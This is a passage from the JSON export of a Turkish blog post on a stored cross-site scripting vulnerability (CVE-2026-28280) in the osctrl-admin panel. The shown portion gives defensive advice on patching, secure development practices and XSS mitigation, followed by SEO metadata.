ve eklentileri yasaklar.<\/p>\n<h3>G\u00fcvenlik G\u00fcncellemeleri ve Yama Y\u00f6netimi<\/h3>\n<p>Yaz\u0131l\u0131m geli\u015ftiricileri, ke\u015ffedilen zafiyetler i\u00e7in d\u00fczenli olarak g\u00fcvenlik yamalar\u0131 yay\u0131nlarlar. osctrl-admin gibi bir uygulamay\u0131 kullanan y\u00f6neticilerin, bu yamalar\u0131 takip etmeleri ve uygulamalar\u0131n\u0131 en k\u0131sa s\u00fcrede g\u00fcncellemeleri hayati \u00f6neme sahiptir. CVE-2026-28280 i\u00e7in de, osctrl ekibi taraf\u0131ndan yay\u0131nlanacak bir g\u00fcvenlik g\u00fcncellemesinin derhal uygulanmas\u0131 gerekmektedir. Otomatik g\u00fcncelleme mekanizmalar\u0131n\u0131 kullanmak veya d\u00fczenli olarak g\u00fcncellemeleri kontrol etmek, bu riski minimize etmeye yard\u0131mc\u0131 olur.<\/p>\n<h2>6. G\u00fcvenli Yaz\u0131l\u0131m Geli\u015ftirme Pratikleri<\/h2>\n<p>Zafiyetlerin ortaya \u00e7\u0131kmas\u0131n\u0131 engellemenin en etkili yolu, g\u00fcvenli\u011fi yaz\u0131l\u0131m geli\u015ftirme ya\u015fam d\u00f6ng\u00fcs\u00fcn\u00fcn (SDLC) her a\u015famas\u0131na entegre etmektir. osctrl-admin gibi kritik bir uygulaman\u0131n geli\u015ftirilmesinde bu pratikler b\u00fcy\u00fck \u00f6nem ta\u015f\u0131r.<\/p>\n<h3>G\u00fcvenlik Odakl\u0131 Geli\u015ftirme Ya\u015fam D\u00f6ng\u00fcs\u00fc (SDLC)<\/h3>\n<p>G\u00fcvenli SDLC, yaz\u0131l\u0131m geli\u015ftirme s\u00fcrecinin ba\u015f\u0131ndan sonuna kadar g\u00fcvenlik konular\u0131n\u0131n ele al\u0131nmas\u0131n\u0131 sa\u011flar. Bu, gereksinim toplama a\u015famas\u0131nda g\u00fcvenlik gereksinimlerinin belirlenmesinden, tasar\u0131m a\u015famas\u0131nda g\u00fcvenlik mimarisinin olu\u015fturulmas\u0131na, kodlama s\u0131ras\u0131nda g\u00fcvenli kodlama standartlar\u0131n\u0131n uygulanmas\u0131na, test a\u015famas\u0131nda g\u00fcvenlik testlerinin yap\u0131lmas\u0131na ve da\u011f\u0131t\u0131m sonras\u0131 s\u00fcrekli izlemeye kadar uzan\u0131r.<\/p>\n<ul>\n<li><strong>Tehdit Modelleme:<\/strong> Geli\u015ftirmenin erken a\u015famalar\u0131nda olas\u0131 tehditleri ve zafiyetleri belirlemek.<\/li>\n<li><strong>G\u00fcvenlik Tasar\u0131m\u0131:<\/strong> G\u00fcvenli mimari desenleri ve bile\u015fenleri kullanmak.<\/li>\n<li><strong>G\u00fcvenli Kodlama Standartlar\u0131:<\/strong> OWASP Top 10 gibi bilinen zafiyetleri \u00f6nleyecek kodlama y\u00f6nergeleri uygulamak.<\/li>\n<\/ul>\n<h3>Geli\u015ftirici E\u011fitimi ve Fark\u0131ndal\u0131k<\/h3>\n<p>Yaz\u0131l\u0131m geli\u015ftiricilerinin g\u00fcvenlik zafiyetleri, sald\u0131r\u0131 vekt\u00f6rleri ve g\u00fcvenli kodlama pratikleri konusunda s\u00fcrekli e\u011fitim almalar\u0131 ve fark\u0131ndal\u0131klar\u0131n\u0131n y\u00fcksek olmas\u0131 gerekmektedir. Bir\u00e7ok zafiyet, geli\u015ftiricilerin g\u00fcvenlik prensipleri hakk\u0131nda yeterli bilgiye sahip olmamas\u0131ndan kaynaklan\u0131r. XSS, SQL Enjeksiyonu, CSRF gibi yayg\u0131n zafiyet t\u00fcrleri ve bunlardan korunma yollar\u0131 hakk\u0131nda d\u00fczenli e\u011fitimler verilmelidir.<\/p>\n<h3>G\u00fcvenlik Testleri ve Kod \u0130ncelemeleri<\/h3>\n<p>Yaz\u0131l\u0131m\u0131n geli\u015ftirme ve da\u011f\u0131t\u0131m \u00f6ncesi a\u015famalar\u0131nda kapsaml\u0131 g\u00fcvenlik testleri yap\u0131lmal\u0131d\u0131r:<\/p>\n<ul>\n<li><strong>Statik Uygulama G\u00fcvenlik Testi (SAST):<\/strong> Kaynak kodunu analiz ederek potansiyel zafiyetleri otomatik olarak tespit etmek.<\/li>\n<li><strong>Dinamik Uygulama G\u00fcvenlik Testi (DAST):<\/strong> \u00c7al\u0131\u015fan uygulamaya d\u0131\u015far\u0131dan sald\u0131r\u0131lar sim\u00fcle ederek zafiyetleri bulmak.<\/li>\n<li><strong>Manuel Kod \u0130ncelemeleri:<\/strong> G\u00fcvenlik uzmanlar\u0131 taraf\u0131ndan kodun manuel olarak incelenmesi.<\/li>\n<li><strong>S\u0131zma Testleri (Penetration Testing):<\/strong> Ba\u011f\u0131ms\u0131z g\u00fcvenlik uzmanlar\u0131n\u0131n, ger\u00e7ek bir sald\u0131rgan gibi davranarak uygulamadaki zafiyetleri ke\u015ffetmeye \u00e7al\u0131\u015fmas\u0131.<\/li>\n<\/ul>\n<p>Bu testler, CVE-2026-28280 gibi Sakl\u0131 XSS zafiyetlerinin \u00fcretim ortam\u0131na ula\u015fmadan \u00f6nce tespit edilmesine yard\u0131mc\u0131 olabilir.<\/p>\n<h2>Sonu\u00e7<\/h2>\n<p>CVE-2026-28280, osctrl-admin panelindeki \"On-Demand Query List\" \u00f6zelli\u011finde ke\u015ffedilen kritik bir Sakl\u0131 Cross-Site Scripting (XSS) zafiyetidir. Bu zafiyet, sald\u0131rganlar\u0131n k\u00f6t\u00fc niyetli betikleri kal\u0131c\u0131 olarak depolamas\u0131na ve bu betiklerin, listeyi g\u00f6r\u00fcnt\u00fcleyen t\u00fcm kullan\u0131c\u0131lar\u0131n taray\u0131c\u0131lar\u0131nda \u00e7al\u0131\u015ft\u0131r\u0131lmas\u0131na olanak tan\u0131r. Potansiyel etkileri aras\u0131nda oturum \u00e7alma, yetkisiz eylemler, veri manip\u00fclasyonu ve daha karma\u015f\u0131k sald\u0131r\u0131lar yer almaktad\u0131r.<\/p>\n<p>Bu t\u00fcr zafiyetlerden korunmak i\u00e7in web uygulamas\u0131 geli\u015ftiricilerinin ve y\u00f6neticilerinin proaktif ad\u0131mlar atmas\u0131 gerekmektedir. S\u0131k\u0131 giri\u015f do\u011frulama, do\u011fru \u00e7\u0131k\u0131\u015f kodlama, \u0130\u00e7erik G\u00fcvenlik Politikalar\u0131 (CSP) gibi g\u00fcvenlik mekanizmalar\u0131n\u0131n uygulanmas\u0131 ve yaz\u0131l\u0131m\u0131n d\u00fczenli olarak g\u00fcncellenmesi b\u00fcy\u00fck \u00f6nem ta\u015f\u0131r. Ayr\u0131ca, g\u00fcvenli yaz\u0131l\u0131m geli\u015ftirme pratiklerinin benimsenmesi ve geli\u015ftirici e\u011fitimleri, gelecekte benzer zafiyetlerin ortaya \u00e7\u0131kmas\u0131n\u0131 engellemede kilit rol oynayacakt\u0131r. osctrl-admin kullan\u0131c\u0131lar\u0131, bu zafiyete kar\u015f\u0131 korunmak i\u00e7in en k\u0131sa s\u00fcrede \u00fcretici taraf\u0131ndan yay\u0131nlanan g\u00fcvenlik yamalar\u0131n\u0131 uygulamal\u0131d\u0131r.<\/p>\n<h2>SSS (S\u0131k Sorulan Sorular)<\/h2>\n<h3>CVE-2026-28280 neden bu kadar \u00f6nemli?<\/h3>\n<p>Bu zafiyet, osctrl-admin gibi kritik bir y\u00f6netim panelinde Sakl\u0131 XSS t\u00fcr\u00fcnde bir g\u00fcvenlik a\u00e7\u0131\u011f\u0131 olmas\u0131 nedeniyle \u00f6nemlidir. Sakl\u0131 XSS, sald\u0131rgan\u0131n k\u00f6t\u00fc niyetli beti\u011fi kal\u0131c\u0131 olarak depolamas\u0131na ve bu beti\u011fin, etkilenen sayfay\u0131 ziyaret eden her kullan\u0131c\u0131 taraf\u0131ndan otomatik olarak \u00e7al\u0131\u015ft\u0131r\u0131lmas\u0131na neden olur. Y\u00f6netici panellerinde bu t\u00fcr bir zafiyet, t\u00fcm sistemi ve y\u00f6netilen u\u00e7 noktalar\u0131 tehlikeye atabilir.<\/p>\n<h3>osctrl-admin kullan\u0131c\u0131lar\u0131 ne yapmal\u0131?<\/h3>\n<p>osctrl-admin kullan\u0131c\u0131lar\u0131, \u00f6ncelikle uygulaman\u0131n en g\u00fcncel ve yamal\u0131 s\u00fcr\u00fcm\u00fcn\u00fc kulland\u0131klar\u0131ndan emin olmal\u0131d\u0131r. osctrl ekibi taraf\u0131ndan yay\u0131nlanan g\u00fcvenlik b\u00fcltenlerini ve g\u00fcncellemelerini takip etmeli ve CVE-2026-28280'i gideren yamay\u0131 derhal uygulamal\u0131d\u0131rlar. Ayr\u0131ca, y\u00f6netim paneline eri\u015fimi k\u0131s\u0131tlamal\u0131, g\u00fc\u00e7l\u00fc ve benzersiz parolalar kullanmal\u0131 ve \u00e7ok fakt\u00f6rl\u00fc kimlik do\u011frulamas\u0131n\u0131 (MFA) etkinle\u015ftirmelidirler.<\/p>\n<h3>Stored XSS'i \u00f6nlemek i\u00e7in en etkili y\u00f6ntem nedir?<\/h3>\n<p>Stored XSS'i \u00f6nlemenin en etkili yolu, \u00e7ok katmanl\u0131 bir yakla\u015f\u0131md\u0131r:<\/p>\n<ol>\n<li><strong>S\u0131k\u0131 Giri\u015f Do\u011frulama:<\/strong> Kullan\u0131c\u0131dan gelen her veriyi sunucu taraf\u0131nda beyaz liste yakla\u015f\u0131m\u0131yla filtrelemek.<\/li>\n<li><strong>Kapsaml\u0131 \u00c7\u0131k\u0131\u015f Kodlama:<\/strong> Verileri web sayfas\u0131na yazd\u0131r\u0131rken ba\u011flama uygun (HTML, JavaScript, URL) kodlama yapmak.<\/li>\n<li><strong>\u0130\u00e7erik G\u00fcvenlik Politikas\u0131 (CSP):<\/strong> Taray\u0131c\u0131ya hangi kaynaklardan i\u00e7erik y\u00fckleyebilece\u011fini belirterek sald\u0131r\u0131 y\u00fczeyini daraltmak.<\/li>\n<\/ol>\n<p>Bu \u00fc\u00e7 y\u00f6ntem birlikte kullan\u0131ld\u0131\u011f\u0131nda, Stored XSS sald\u0131r\u0131lar\u0131na kar\u015f\u0131 g\u00fc\u00e7l\u00fc bir savunma olu\u015fturur.<\/p>\n<h3>Bu zafiyetin gelecekteki s\u00fcr\u00fcmlerde tekrar etmemesi nas\u0131l sa\u011flan\u0131r?<\/h3>\n<p>Gelecekte benzer zafiyetlerin tekrar etmesini \u00f6nlemek i\u00e7in, osctrl geli\u015ftiricilerinin g\u00fcvenli yaz\u0131l\u0131m geli\u015ftirme ya\u015fam d\u00f6ng\u00fcs\u00fc (SDLC) pratiklerini benimsemesi gerekmektedir. Bu, tehdit modelleme, g\u00fcvenli kodlama standartlar\u0131, geli\u015ftirici e\u011fitimleri, d\u00fczenli g\u00fcvenlik testleri (SAST, DAST, s\u0131zma testleri) ve kod incelemelerini i\u00e7erir. G\u00fcvenli\u011fin, geli\u015ftirme s\u00fcrecinin her a\u015famas\u0131na entegre edilmesi, bu t\u00fcr zafiyetlerin erken a\u015famada tespit edilip giderilmesini sa\u011flar.<\/p>\n","protected":false},"excerpt":{"rendered":"Herhangi bir yaz\u0131l\u0131mda ke\u015ffedilen g\u00fcvenlik a\u00e7\u0131klar\u0131, genellikle &#8220;Common Vulnerabilities and Exposures&#8221; (CVE) kimlik numaralar\u0131 ile kataloglan\u0131r.","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"csco_page_header_type":"","csco_page_load_nextpost":"","csco_page_subscribe_form":"","csco_page_contact_form":"","footnotes":""},"categories":[1],"tags":[],"class_list":{"0":"post-40632","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-genel","7":"cs-entry","8":"cs-video-wrap"},"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v20.5 (Yoast SEO v25.3.1) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>CVE-2026-28280: osctrl-admin On-Demand Query List&#039;teki Sakl\u0131 Cross-Site Scripting (XSS) Zafiyeti - Kodlar\u0131n Gizemli D\u00fcnyas\u0131<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/\" \/>\n<meta property=\"og:locale\" content=\"tr_TR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"CVE-2026-28280: osctrl-admin On-Demand Query List&#039;teki Sakl\u0131 Cross-Site Scripting (XSS) Zafiyeti\" \/>\n<meta property=\"og:description\" content=\"Herhangi bir yaz\u0131l\u0131mda ke\u015ffedilen g\u00fcvenlik a\u00e7\u0131klar\u0131, genellikle &quot;Common Vulnerabilities and Exposures&quot; (CVE) kimlik numaralar\u0131 ile kataloglan\u0131r.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/\" \/>\n<meta property=\"og:site_name\" content=\"Kodlar\u0131n Gizemli D\u00fcnyas\u0131\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-28T03:30:47+00:00\" \/>\n<meta name=\"author\" content=\"Fatih Soysal\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Yazan:\" \/>\n\t<meta name=\"twitter:data1\" content=\"Fatih Soysal\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tahmini okuma s\u00fcresi\" \/>\n\t<meta name=\"twitter:data2\" content=\"18 dakika\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/\"},\"author\":{\"name\":\"Fatih Soysal\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"headline\":\"CVE-2026-28280: osctrl-admin On-Demand Query List&#8217;teki Sakl\u0131 Cross-Site Scripting (XSS) Zafiyeti\",\"datePublished\":\"2026-02-28T03:30:47+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/\"},\"wordCount\":3645,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"inLanguage\":\"tr\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/#respond\"]}],\"copyrightYear\":\"2026\",\"copyrightHolder\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#organization\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/\",\"name\":\"CVE-2026-28280: osctrl-admin On-Demand Query List'teki Sakl\u0131 Cross-Site Scripting (XSS) Zafiyeti - Kodlar\u0131n Gizemli D\u00fcnyas\u0131\",\"isPartOf\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#website\"},\"datePublished\":\"2026-02-28T03:30:47+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/#breadcrumb\"},\"inLanguage\":\"tr\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Anasayfa\",\"item\":\"https:\/\/fatihsoysal.com\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"CVE-2026-28280: osctrl-admin On-Demand Query List&#8217;teki Sakl\u0131 Cross-Site Scripting (XSS) Zafiyeti\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#website\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/\",\"name\":\"Fatihsoysal.com\",\"description\":\"Blog - Yaz\u0131l\u0131m D\u00fcnyas\u0131 Tecr\u00fcbelerim\",\"publisher\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/fatihsoysal.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"tr\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\",\"name\":\"Fatih Soysal\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"tr\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png\",\"contentUrl\":\"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png\",\"width\":512,\"height\":512,\"caption\":\"Fatih Soysal\"},\"logo\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/\"},\"description\":\"Kullan\u0131m ve kodlama m\u00fckemmeliyetini odak alan uygulamalar olu\u015fturma deneyimine sahip, profesyonel olarak 15+ y\u0131l \u00fczeri deneyime sahip bir yaz\u0131l\u0131m m\u00fchendisi.\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/author\/fatihsoysal\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"CVE-2026-28280: osctrl-admin On-Demand Query List'teki Sakl\u0131 Cross-Site Scripting (XSS) Zafiyeti - Kodlar\u0131n Gizemli D\u00fcnyas\u0131","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/","og_locale":"tr_TR","og_type":"article","og_title":"CVE-2026-28280: osctrl-admin On-Demand Query List'teki Sakl\u0131 Cross-Site Scripting (XSS) Zafiyeti","og_description":"Herhangi bir yaz\u0131l\u0131mda ke\u015ffedilen g\u00fcvenlik a\u00e7\u0131klar\u0131, genellikle \"Common Vulnerabilities and Exposures\" (CVE) kimlik numaralar\u0131 ile kataloglan\u0131r.","og_url":"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/","og_site_name":"Kodlar\u0131n Gizemli D\u00fcnyas\u0131","article_published_time":"2026-02-28T03:30:47+00:00","author":"Fatih Soysal","twitter_card":"summary_large_image","twitter_misc":{"Yazan:":"Fatih Soysal","Tahmini okuma s\u00fcresi":"18 dakika"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/#article","isPartOf":{"@id":"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/"},"author":{"name":"Fatih Soysal","@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"headline":"CVE-2026-28280: osctrl-admin On-Demand Query List&#8217;teki Sakl\u0131 Cross-Site Scripting (XSS) Zafiyeti","datePublished":"2026-02-28T03:30:47+00:00","mainEntityOfPage":{"@id":"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/"},"wordCount":3645,"commentCount":0,"publisher":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"inLanguage":"tr","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/#respond"]}],"copyrightYear":"2026","copyrightHolder":{"@id":"https:\/\/fatihsoysal.com\/blog\/#organization"}},{"@type":"WebPage","@id":"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/","url":"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/","name":"CVE-2026-28280: osctrl-admin On-Demand Query List'teki Sakl\u0131 Cross-Site Scripting (XSS) Zafiyeti - Kodlar\u0131n Gizemli D\u00fcnyas\u0131","isPartOf":{"@id":"https:\/\/fatihsoysal.com\/blog\/#website"},"datePublished":"2026-02-28T03:30:47+00:00","breadcrumb":{"@id":"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/#breadcrumb"},"inLanguage":"tr","potentialAction":[{"@type":"ReadAction","target":["https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Anasayfa","item":"https:\/\/fatihsoysal.com\/blog\/"},{"@type":"ListItem","position":2,"name":"CVE-2026-28280: osctrl-admin On-Demand Query List&#8217;teki Sakl\u0131 Cross-Site Scripting (XSS) Zafiyeti"}]},{"@type":"WebSite","@id":"https:\/\/fatihsoysal.com\/blog\/#website","url":"https:\/\/fatihsoysal.com\/blog\/","name":"Fatihsoysal.com","description":"Blog - Yaz\u0131l\u0131m D\u00fcnyas\u0131 Tecr\u00fcbelerim","publisher":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/fatihsoysal.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"tr"},{"@type":["Person","Organization"],"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1","name":"Fatih Soysal","image":{"@type":"ImageObject","inLanguage":"tr","@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png","contentUrl":"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png","width":512,"height":512,"caption":"Fatih Soysal"},"logo":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/"},"description":"Kullan\u0131m ve kodlama m\u00fckemmeliyetini odak alan uygulamalar olu\u015fturma deneyimine sahip, profesyonel olarak 15+ y\u0131l \u00fczeri deneyime sahip bir yaz\u0131l\u0131m m\u00fchendisi.","url":"https:\/\/fatihsoysal.com\/blog\/author\/fatihsoysal\/"}]}},"yoast_meta":{"yoast_wpseo_title":"","yoast_wpseo_metadesc":"","yoast_wpseo_canonical":""},"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts\/40632","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/comments?post=40632"}],"version-history":[{"count":0,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts\/40632\/revisions"}],"wp:attachment":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/media?parent=40632"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/categories?post=40632"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/tags?post=40632"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}